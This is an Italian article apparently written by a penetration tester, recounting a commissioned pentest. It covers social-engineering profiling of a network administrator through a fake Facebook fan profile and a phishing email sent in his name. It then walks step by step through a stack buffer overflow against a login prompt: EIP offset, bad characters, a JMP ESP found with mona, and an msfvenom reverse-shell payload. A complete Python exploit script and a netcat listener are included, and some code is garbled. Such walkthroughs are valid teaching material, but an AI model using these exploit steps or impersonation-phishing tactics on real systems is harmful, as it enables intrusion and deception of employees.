A case history: let’s rock!
Molti credono che la sicurezza informatica sia un ambito relegato alle grandi società, alle banche oppure a sempliciotti che pagano un riscatto in bitcoin per non vedersi pubblicati sul web in atti osceni[1]. La verità è che l’importanza della Cyber sicurezza è direttamente proporzionale alla nostra dipendenza dalla tecnologia, in parte “fisiologica” e dovuta all’evoluzione; essa però risulta anche inversamente proporzionale al grado di cultura di una società. La tecnologia si intreccia ormai con la nostra vita quotidiana in una sorta di simbiosi: informazioni, incontri, orari, stati d’animo, itinerari, domotica, automotive, sistemi elettorali, semafori, pacemaker, sistemi missilistici, ecc. Non vi stupirà quindi desumere le implicazioni che un virus informatico potrebbe potenzialmente avere, a partire dalla facoltà di danneggiare un organismo, compromettendo ad esempio le radiografie di un ospedale, sino al suo utilizzo per scopi politici[2].
Vi è mai capitato di ricevere pubblicità sul cellulare che vanno oltre la profilazione[3] derivata da ciò che digitate sui vostri dispositivi, ma anche dal vostro umore e/o magari da quello che avete detto?
Commissionato da terzi e in accordo con uno dei responsabili del Management, recentemente ci è stato richiesto un PenTest[4] per una società, ignara delle molteplici forme che un attacco informatico può assumere. Il responsabile sapeva il fatto suo ed era più che certo che la loro difesa fosse pressoché inespugnabile. Dietro firewall FortiGate, router Cisco e un Audit di Sicurezza sul sistema Active Directory Microsoft condotto da esperti, si sentiva all’apogeo della sicurezza informatica, un po’ come Priamo dietro le mura di Troia. Quindi, alla fine di un colloquio di circa quaranta minuti, si accomiatò con un commento del tipo «Sarà una “scansione di rete aggiuntiva…”». La frase fu proferita al limite tra la provocazione e il voler riportare un dato oggettivo, secondo il suo parere. È comune, infatti, pensare che un PenTest sia l’equivalente di Vulnerability Assessment con l’aggiunta di una successiva fase di Explotation[5]. In realtà, un PenTest è molto di più: esso è anche una ricerca di vulnerabilità ex novo, molte volte fatta dopo un’attenta analisi della rete, una selezione del target e ripetute azioni di testing su una determinata applicazione.
Il perimetro esterno si rivelò davvero ben protetto, era stato fatto un ottimo lavoro. Quindi avremmo dovuto trovare un’altra via d’ingresso. Decidemmo di procedere prima di tutto con un’analisi di Intelligence sul personale della società. In particolare, notammo la propensione “social” di uno degli amministratori di rete, scoprimmo il suo debole per la musica e che faceva parte di una band rock. Utilizzava la pagina Facebook come propaganda per pubblicizzare le serate durante cui suonava. Fu semplice, a questo punto, ottenere l’amicizia dopo aver creato un profilo ad hoc per il nostro soggetto. Ovviamente la creazione del profilo fu stilata in modo da essere psicologicamente prossima al nostro Amministratore: ci fingemmo un fan e reperimmo ogni tipo d’informazione che aveva reso pubblica. Procedemmo scaricando una trial di trenta giorni del programma di cui si serviva l’azienda per la gestione e l’invio degli ordini, disponibile online dopo la compilazione di un comune form.
Il Piano che elaborammo fu, quindi, il seguente:
- monitorare il profilo dell’amministratore di rete per stenderne una profilazione psicologica;
- utilizzare la trial del programma appena scaricato come cavallo di Troia per entrare in possesso della rete.
Dovevamo quindi concentrarci sulla demo del programma scaricato, così lavorai per diversi giorni all’exploit dell’applicazione. Ciò che emerse fu la possibilità di un buffer overflow, vale a dire uno straripamento dei dati in ingresso in parti di memoria circostanti. Usando un gergo più tecnico, la stringa in input risulta più grande del buffer dove dovrà essere immagazzinata l’informazione. Questo porta a una sovrascrittura delle zone di memoria adiacenti al buffer, corrompendo e sovrascrivendo i dati in quel determinato settore. Spesso l’overflow produce un crash dell’applicazione, ma crea l’opportunità per l’attaccante di eseguire il codice arbitrario. Per essere più specifici, l’overflow si verificava al momento del login sull’app. Così, al fine di manipolare le zone di memoria, utilizzai il famoso Immunity debugger[6]. Poi agganciai la trial del programma al debugger, eseguendolo.
Spiegherò ciò che feci attraverso l’esempio che segue. Utilizzando il seguente simil-script in python:
#!/usr/bin/python buffer=["A"], counter=valore omesso, while,len(buffer),<=, valore omesso:, , buffer.append("A"*counter), , counter=counter+ valore omesso,s=socket.socket(socket.AF_INET,,socket.SOCK_STREAM), , connect=s.connect(('IP-VITTIMA',PORTA)), , s.recv(1024), , s.send('USER,test\r\n'), , s.recv(1024), , s.send('PASS,',+,string,+,'\r\n'), , s.send('QUIT\r\n'), , s.close(),
saturai incrementalmente l’array[7] dell’input di username e password, riempiendolo del valore “A”.
Quando il campo password raggiunse la capacità limite, l’immunity debugger mi mostrò la sovrascrittura del puntatore Extended Istruction Pointer (EIP), con l’equivalente della lettera “A” in esadecimale \x41.
Ciò significava che se fossi riuscito a controllare il registro EIP responsabile del flusso d’esecuzione del programma, avrei avuto buone possibilità di introdurvi il mio exploitation code. Di fatto il registro EIP punta all’istruzione da eseguire rispetto alla posizione corrente, ecco perché viene chiamato Instruction Pointer.
PARTE I – THE EIP
Riscrissi quello che sarebbe stato lo scheletro del mio exploit:
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buffer = "A" * 2800 try: print "\nInvio del Buffer..." s.connect(('IP_VITTIMA',PORTA)) data = s.recv(1024) s.send('USER username' +'\r\n') data = s.recv(1024) s.send('PASS ' + buffer +'\r\n') print "\nFatto!." except: print "Connessione non riuscita!"
Il mio registro EIP compariva adesso all’interno del debugger in questo modo: EIP41414141, vale a dire con quattro “A”, saturato dal mio script. Conoscere la posizione di quelle quattro “A” era fondamentale. Per farlo, modificai lo script in modo da saturare il buffer in maniera incrementale e mi servii di un Ruby tool denominato pattern_create.rb. Quindi, per ottenere il percorso, all’interno della mia distribuzione Linux digitai:
locate pattern create
Dopo, generai la mia stringa univoca della grandezza del buffer prestabilita:
usr/share/metasploit-framework/tools/exploit/pattern_create.rb –l 2800
Quindi copiai ed incollai la mia stringa appena ottenuta nel mio script python, al posto della lettera “A”:
….
buffer = ‘valore_della_stringa_univoca_ottenuta_con_pattern_create.rb’
….
Rilanciai il mio script e questa volta, al posto delle mie quattro “A” il registro EIP venne sovrascritto con i caratteri della mia stringa “39654158”. Adesso avevo i quattro byte della stringa che sovrascrivevano il registro EIP, e non dovevo far altro che riutilizzare un altro script pre-build per ottenere l’esatta posizione di quei bytes.
usr/share/metasploit-framework/tools/exploit/pattern_offset.rb –l 2800 –q 39654158
L’output del commando fu:
[*] Exact match at offset 2680
Adesso conoscevo l’esatto punto dove il registro EIP veniva sovrascritto. Lo testai rilanciando lo script e modificando la stringa buffer:
….
buffer= “A”*2680 + “B”*4 + “C”*116
….
Vale a dire che:
“A”*2680 = sarei arrivato sino al registro EIP;
“B”*4 = l’avrei sovrascritto con quattro B per testarlo;
“C”*116 = avrei raggiunto il valore di overflow che mi rimaneva per tornare alla lunghezza del buffer di saturazione iniziale.
Equivale a dire che la sommatoria di 2680 + 4 + 116 avrebbe dato 2800” cioè la lunghezza del buffer iniziale. Quando lo script venne rilanciato il valore dell’EIP fu 42424242 esattamente quattro “B”. Adesso controllavo il flusso d’esecuzione del programma.
PARTE II – THE ESP
A questo punto avrei dovuto trovare lo spazio, all’interno del programma, dove inserire il mio payload. Un reverse shell payload avrebbe occupato dai 300 ai 500 bytes.
Feci un passo indietro tornando al mio debugger. Nel momento del crash, cioè quando avveniva il buffer overflow e la scrittura del registro EIP con le quattro “B” (valore 42424242), il registro ESP puntava all’indirizzo: 0231C823. Ora, questo registro serve a inserire o estrarre dati all’interno di una precisa posizione nella memoria e viene chiamato anche Stack Pointer. L’indirizzo del nostro Stack Pointer o registro ESP puntava esattamente alla zona di memoria dove le nostre lettere “C” cominciavano. Quindi cliccai con il tasto destro sull’indirizzo, all’interno del debugger, in corrispondenza dell’ESP, e selezionai “Follow in Dump”.
Ergo, avevo trovato la mia zona, all’interno della memoria, dove allocare il mio exploit. Peccato che, come dicevo prima, avrei avuto bisogno da 300 a 500 byte e quella zona di memoria non era grande abbastanza da contenere il mio payload. Avrei dovuto incrementarla, inviando un buffer di overflow più lungo del precedente. Quindi tornai ad editare il mio script con lo scopo di incrementare le lettere “C”. Modificandolo in questo modo, lasciai che python svolgesse il calcolo:
A * 2680
B * 4
C * sarebbe stata la risultante della mia nuova lunghezza del buffer, che ora da 2800 passava a 3600, meno 2680, meno 4.
….
buffer= “A”*2680 + “B”*4 + “C”*(3600 – 2680 – 4)
….
Rilanciai lo script con le ultime modifiche e seguì ancora una volta lo stream dei dati nel debugger. Questa volta lo spazio in memoria per l’allocazione del mio payload, sarebbe stato più che sufficiente. Intanto il registro ESP puntava ad un altro indirizzo.
PARTE III – BAD CHARACTERS
Prima di procedere ulteriormente, avrei dovuto accertarmi che nessun carattere all’interno del mio payload producesse, durante l’esecuzione, output indesiderati che compromettessero il funzionamento del programma e quindi dell’exploit.
I Bad Characters non sono altro che dei conflitti d’utilizzo dello stesso codice. Un esempio comune è il carattere null byte che in esadecimale corrisponde a 00: esso assume la funzione di terminazione di una stringa. Per un array di puntatori si potrebbe usare il valore NULL per denotare la fine dell’array. Un altro esempio è rappresentato dal “Carriage return – Ritorno a capo”, in esadecimale 0D.
Il nostro programma infatti prevedeva di ricevere il carattere 0D al termine dell’immissione della password, quindi non avrei potuto includerlo nel nostro shellcode a causa del suo duplice utilizzo. Dovevo assicurarmi che nessuno di questi caratteri potesse compromettere il normale funzionamento del programma e pregiudicare l’exploitation. Per fare ciò avrei inviato tutti possibili caratteri (da 0x00 a 0xff) attraverso il nostro buffer e avrei visto quale di questi produceva un crash o un’anomalia nel flusso d’esecuzione.
Quindi tornai allo script del mio exploit (riportato qualche paragrafo più in alto) e lo modificai introducendo nel buffer i possibili “caratteribad” da controllare:
…
caratteribad = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") buffer= “A”*2680 + “B”*4 + caratteribad
…
Riavviai il programma agganciandolo all’Immunity debugger ancora una volta ed eseguii il mio script appena modificato. Il programma, come mi aspettavo, produsse il primo crash; quindi eseguii nel debugger il Dump del registro ESP. Nella voce Hex Dump controllai quale carattere avesse provocato il crash, seguendo il flusso in memoria. In altre parole, ciò che dovevo fare era controllare che in memoria ci fosse tutta la sequenza del buffer di “caratteribad” che avevo inviato: se all’interno della memoria veniva omesso o alterato il normale flusso di informazioni, il carattere non presente nel dump sarebbe stato il responsabile nel crash. In altre parole, la prima riga del mio buffer avrebbe dovuto introdurre in memoria la sequenza:
x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15
ma quando controllai il dump in memoria, il carattere 0a alterava il flusso di informazioni. Non era presente e, invece di esservi il 0b come successivo, vi erano numeri e lettere differenti.
Questo perché all’interno del programma 0A veniva utilizzato per il “Line Feed”, la medesima ragione per cui anche il carattere del “Carriage Return” risultava “bad”. L’ora successiva fu un rimuovere caratteri all’interno del mio buffer (“caratteribad”), continuando a rilanciare il programma, il debugger e lo script, sino a quando non si verificò nessun crash dovuto ai BAD CHARACTERS.
PARTE IV – THE JMP
Adesso veniva la parte interessante. Ricapitoliamo:
- avevo lo spazio in memoria per allocare il mio shellcode, accessibile attraverso il registro ESP (PARTE II);
- avevo il controllo del registro EIP (con le quattro “B”, 42424242, PARTE I);
- conoscevo i “caratteribad” che non potevo inserire nel mio buffer (PARTE III).
Dovevo ora trovare un modo per indirizzare il flusso di esecuzione del programma, nel momento del crash dell’applicazione, al mio shellcode allocato all’indirizzo di memoria contenuto nel registro ESP. Intuitivamente, non avrei dovuto far altro che sostituire alle quattro “B” che sovrascrivevano il registro EIP, l’indirizzo di memoria contenuto nel registro ESP, al momento del crash. Tuttavia, il valore dell’registro ESP cambiava da crash a crash.
Rimaneva, però, un’altra via che potevo provare a percorrere: durante il processo d’esecuzione di un’applicazione, essa non viene caricata in memoria da sola ma assieme a DLL, drivers e moduli contenenti funzioni extra e dati (in molti casi è l’applicazione stessa che nel momento della sua installazione provvede ad installare chiavi di registro, DLL e drivers necessari alla sua esecuzione). Il bello è che l’indirizzo di “Jump”, a questi moduli o applicazioni, è sempre il medesimo all’interno della memoria e non cambia da reboot a reboot. Quindi, se fossi riuscito a trovare un indirizzo di memoria con permessi sia “d’esecuzione” che di “lettura”, che contenesse un’istruzione come JMP ESP cioè “Jump to ESP” (“salta al registro ESP”), avrei potuto servirmene come ponte per reindirizzare il flusso d’esecuzione del programma al mio shellcode.
PARTE V – MONA SCRIPT
Dovevo ora servirmi di un altro script per visualizzare, in memoria, come il programma gestisse DLL e moduli. Tale programma di terze parti è contenuto all’interno dell’Immunity Debugger e prende il nome di “mona”.
Nella command Line dell’Immunity digitai:
!mona modules
Mi apparve un’estesa analisi di tutti i moduli utilizzati dal programma. Fra i tanti moduli dovevo trovarne uno che rispettasse i seguenti criteri:
- non doveva avere “memory protection”, altrimenti sarebbe stato inutile;
- non doveva contenere nessun “caratterebad”.
Ne trovai solo una che rispondeva a questi criteri, che chiamerò: “bugmodule.DLL”.
La nostra DLL sarebbe stata quindi sempre caricata allo stesso indirizzo di memoria. Non dovevo far altro che trovare l’istruzione di “Jump ESP” (o equivalente) che puntava a questa DLL e, quindi, identificare l’indirizzo a cui era allocata. Per fare ciò, mi spostai all’interno di un altro menu, nella lista dei moduli in esecuzione, che non conteneva nient’altro se non la lista di tutti i moduli a disposizione in running in quel preciso momento. Notai che anche gli altri due punti erano soddisfatti e cioè:
- aveva accessi di scrittura;
- aveva accessi di lettura.
Adesso avevo bisogno di trovare il mio “ponte” cioè la mia istruzione di “JMP ESP”. Mona poteva venirmi incontro, ma avevo bisogno dell’opcode equivalente. Detto in altri termini, avrei dovuto effettuare una ricerca nel codice del programma, utilizzando “mona”, ma la ricerca andava fatta in linguaggio macchina. Quindi la domanda era, come si traduce “JMP ESP” in linguaggio macchina, ovvero nell’opcode equivalente?
Mi servii di un altro metasploit script:
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
Una volta lanciato, digitai:
jmp esp
Il risultato fu:
00000000 FFE4 jmp esp
FFE4 era il mio opcode di jmp esp. Adesso potevo lanciare la mia ricerca utilizzando mona:
!mona find –s “\xff\xe4” –m bugmodule.dll
Cercai la mia istruzione FFE4 relativa al modulo bugmodule.dll. Il risultato fu una lista di tutti gli indirizzi che contenevano l’istruzione JMP ESP, scelsi quello che non conteneva “caratteribad” che chiamerò: 0x5f5a568b. Lo selezionai e mi assicurai con un altro search che effettivamente portasse alla mia istruzione JMP ESP.
Quindi se fossi riuscito, nel momento del crash del software, a reindirizzare il registro EIP all’indirizzo 0x5f5a568b, l’operazione di JMP ESP sarebbe stata eseguita producendo a sua volta l’esecuzione del mio shellcode. Copiai l’indirizzo e tornai al codice del mio exploit, modificando la nostra ormai famosa stringa in questo modo: al posto delle “B” (che sovrascrivevano il nostro registro EIP) introdussi l’indirizzo all’istruzione JMP ESP appena trovato.
buffer= “A”*2680 + “\x8b\x56\x5a\x5f”+ “C”*(3600 – 2680 – 4)
L’indirizzo è scritto al contrario, a coppie di due (da destra verso sinistra), perché l’architettura x86 salva l’indirizzo in memoria nel formato little-endian[8]. Ciò che mi aspettavo è che il flusso dell’esecuzione non terminasse ad un indirizzo inesistente 42424242, ma utilizzasse il nostro “ponte” attraverso il JMP ESP, bugmodule.5f5a568b e ci conducesse all’indirizzo di inizio delle nostre lettere “C”.
Non mi rimaneva che sostituire le mie lettere “C” con il mio shellcode.
PARTE VI – THE SHELLCODE
Non restava che creare il mio payload. Utilizzai ancora una volta il framework di metasploit. Sul mio terminale Linux, digitai:
msfvenom –p windows/shell_reverse_tcp LHOST=IP_ATTACCANTE LPORT=PORTA EXITFUNC=thread –f c –e x86/shikata_ga_nai –b “/x00/x0a/c0d”
Dove:
– p: specificava la tipologia di payload da utilizzare;
– windows/shell_reverse_tcp o windows/shell_reverse_tcp : directory del payload per tipologia;
– LHOST: era l’IP macchina attaccante su cui desideravo che il reverse shell puntasse;
– LPORT: era la porta della macchina attaccante su cui desideravo che il reverse shell puntasse;
– EXITFUNC: mi avrebbe aiutato a non produrre crash dell’applicazione e a permettere il running dell’applicazione mentre l’exploit avrebbe girato indisturbato sulla macchina vittima;
– f: il formato dell’output “C” in questo caso;
– e: la tipologia di encoding da utilizzare;
– b: i “caratteribad” da non includere nel payload.
Il risultato fu pressoché il seguente:
"\xd9\xc4\xbd\xfb\x76\x39\xbf\xd9\x74\x24\xf4\x5b\x2b\xc9",+, "\xb1\x14\x31\x6b\x19\x83\xc3\x04\x03\x6b\x15\x19\x83\x08",+, "\x64\x2a\x8f\x38\xd9\x87\x3a\xbd\x54\xc6\x0b\xa7\xab\x88",+, "\x37\x76\x66\xe0\xc5\x86\x97\xac\xa3\x96\xc6\x1c\xbd\x76",+, "\x82\xfa\xe5\xb5\xd3\x8b\x57\x42\x67\x8f\xe7\x2c\x4a\x0f",+, "\x44\x01\x32\xc2\xcb\xf2\xe2\xb6\xf4\xac\xd9\xc6\x42\x34",+, "\x1a\xae\x7b\xe9\xa9\x46\xec\xda\x2f\xff\x82\xad\x53\xaf",+, "\x09\x27\x72\xff\xa5\xfa\xf5",
Tornai allo script del mio exploit, che ancora una volta avrei dovuto editare:
- Dichiarai la variabile shellcode
shellcode = ("\xd9\xc4\xbd\xfb\x76\x39\xbf\xd9\x74\x24\xf4\x5b\x2b\xc9",+, "\xb1\x14\x31\x6b\x19\x83\xc3\x04\x03\x6b\x15\x19\x83\x08",+, "\x64\x2a\x8f\x38\xd9\x87\x3a\xbd\x54\xc6\x0b\xa7\xab\x88",+, "\x37\x76\x66\xe0\xc5\x86\x97\xac\xa3\x96\xc6\x1c\xbd\x76",+, "\x82\xfa\xe5\xb5\xd3\x8b\x57\x42\x67\x8f\xe7\x2c\x4a\x0f",+, "\x44\x01\x32\xc2\xcb\xf2\xe2\xb6\xf4\xac\xd9\xc6\x42\x34",+, "\x1a\xae\x7b\xe9\xa9\x46\xec\xda\x2f\xff\x82\xad\x53\xaf",+, "\x09\x27\x72\xff\xa5\xfa\xf5")
- L’aggiunsi al mio buffer, esattamente dove cominciavano le mie “C”:
…
buffer= “A”*2680 + “\x8b\x56\x5a\x5f”+ shellcode +“C”*(3600 – 2680 – 4)
….
- Sottrassi la grandezza del mio payload a quella del buffer totale:
….
buffer= “A”*2680 + “\x8b\x56\x5a\x5f”+ shellcode +“C”*(3600 – 2680 – 4 - 420)
….
- Si verificò ancora un problema: il registro ESP puntava esattamente all’inizio del nostro payload (dove prima iniziavano le lettere “C”) e nel momento del reindirizzamento i primi bytes del nostro shellcode sarebbero stati sovrascritti rendendolo inutilizzabile. Quindi ciò che feci fu aggiungere altro spazio fra le “B” e le “C”, utilizzando l’operatore NOP tradotto con x90. Sostanzialmente, l’istruzione non faceva niente ed il programma avrebbe eseguito di conseguenza l’operazione successiva.
….
buffer= “A”*2680 + “\x8b\x56\x5a\x5f”+ “\x90”*8 + shellcode + “C”*(3600 – 2680 – 4 – 420)
….
- Ridussi ancora il buffer iniziale di 8.
….
buffer= “A”*2680 + “\x8b\x56\x5a\x5f”+ “\x90”*8 shellcode + +“C”*(3600 – 2680 – 4 – 420 – 8)
….
Riporto di seguito l’exploit complete del nostro esempio:
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) shellcode = ("\xd9\xc4\xbd\xfb\x76\x39\xbf\xd9\x74\x24\xf4\x5b\x2b\xc9",+, "\xb1\x14\x31\x6b\x19\x83\xc3\x04\x03\x6b\x15\x19\x83\x08",+, "\x64\x2a\x8f\x38\xd9\x87\x3a\xbd\x54\xc6\x0b\xa7\xab\x88",+, "\x37\x76\x66\xe0\xc5\x86\x97\xac\xa3\x96\xc6\x1c\xbd\x76",+, "\x82\xfa\xe5\xb5\xd3\x8b\x57\x42\x67\x8f\xe7\x2c\x4a\x0f",+, "\x44\x01\x32\xc2\xcb\xf2\xe2\xb6\xf4\xac\xd9\xc6\x42\x34",+, "\x1a\xae\x7b\xe9\xa9\x46\xec\xda\x2f\xff\x82\xad\x53\xaf",+, "\x09\x27\x72\xff\xa5\xfa\xf5") buffer= “A”*2680 + “\x8b\x56\x5a\x5f”+ “\x90”*8 shellcode + +“C”*(3600 – 2680 – 4 – 420 – 8) try: print "\nInvio del Buffer..." s.connect(('IP_VITTIMA',PORTA)) data = s.recv(1024) s.send('USER username' +'\r\n') data = s.recv(1024) s.send('PASS ' + buffer +'\r\n') print "\nFatto!." except: print "Connessione non riuscita!"
PARTE VII – THE REVERSE SHELL
Era infine giunto il momento della verità. Avviai netcat sulla mia macchina attaccante e lo misi in ascolto sulla porta del payload, digitando:
nc –nlvp 443
Lanciai il mio exploit e finalmente ottenni la mia revershell:
Ero finalmente dentro il Sistema!
Il passo successivo fu inviare una email a tutto il personale della nota società, da parte del “famoso” amministratore di rete membro di una band rock, con il programma delle note serate in cui si sarebbe esibito, scaricabile comodamente sul proprio desktop. L’oggetto della mail era: “Let’s Rock!”.
Il programma fasullo fu scaricato da circa una trentina di impiegati. Ovviamente, una volta scaricato ed effettuato il double click, il nostro exploit fece il resto, infettando il software gestionale.
A quel punto, il nostro manager che aveva commissionato il lavoro non solo capì quanto la sua idea di sicurezza fosse un’utopia, ma anche quanto essa dipendesse più dai suoi dipendenti che dalle macchine.
Note
[1] https://www.theguardian.com/technology/askjack/2019/jan/17/phishing-email-blackmail-sextortion-webcam.
[2] https://it.sputniknews.com/mondo/201904077493521-creato-il-primo-virus-informatico-in-grado-di-danneggiare-lorganismo/.
[3] https://it.wikipedia.org/wiki/Profilazione_dell%27utente.
[4] https://en.wikipedia.org/wiki/Penetration_test.
[5] https://en.wikipedia.org/wiki/Exploit_(computer_security).
[6] https://www.immunityinc.com/products/debugger/.
[7] https://en.wikipedia.org/wiki/Array_data_structure.
[8] https://en.wikipedia.org/wiki/Payload_(computing).
Articolo a cura di Vincenzo Digilio
Ha lavorato come Network System Administrator, Security Auditor, System Integrator, Penetration Tester per importanti client, enti governativi ed agenzie spaziali. Seguendo progetti come calcolo distribuito, security resource implementation in aree nuclearizzate, adeguamenti di security policy e Security Engineering per la selezione d’importanti fornitori al fine d’implementare sistemi di sicurezza per diverse Multinazionali. Ha tenuto corsi di tecniche Hacking, studiando in contemporanea per il corso di Laurea in Sicurezza delle reti Informatiche. È attualmente impiegato in progetti classificitati in ambito spaziale di Cyber Sicurezza; nella ricerca di vulnerabilità, sviluppo di exploit e whitebox / black box Penetration Testing. Coordina, inoltre il RedTeam della società Cyber Division di cui e’ uno dei fondatori. È consulente in materia di Global Security Policy Statement, Risk management e Data Breach Investigation. È intervenuto in diversi casi di compromissione dati, analisi forensi, system breach e attacchi hacking al fine di mitigare la situazione. Crede nella libertà d’informazione e nel diritto alla privacy.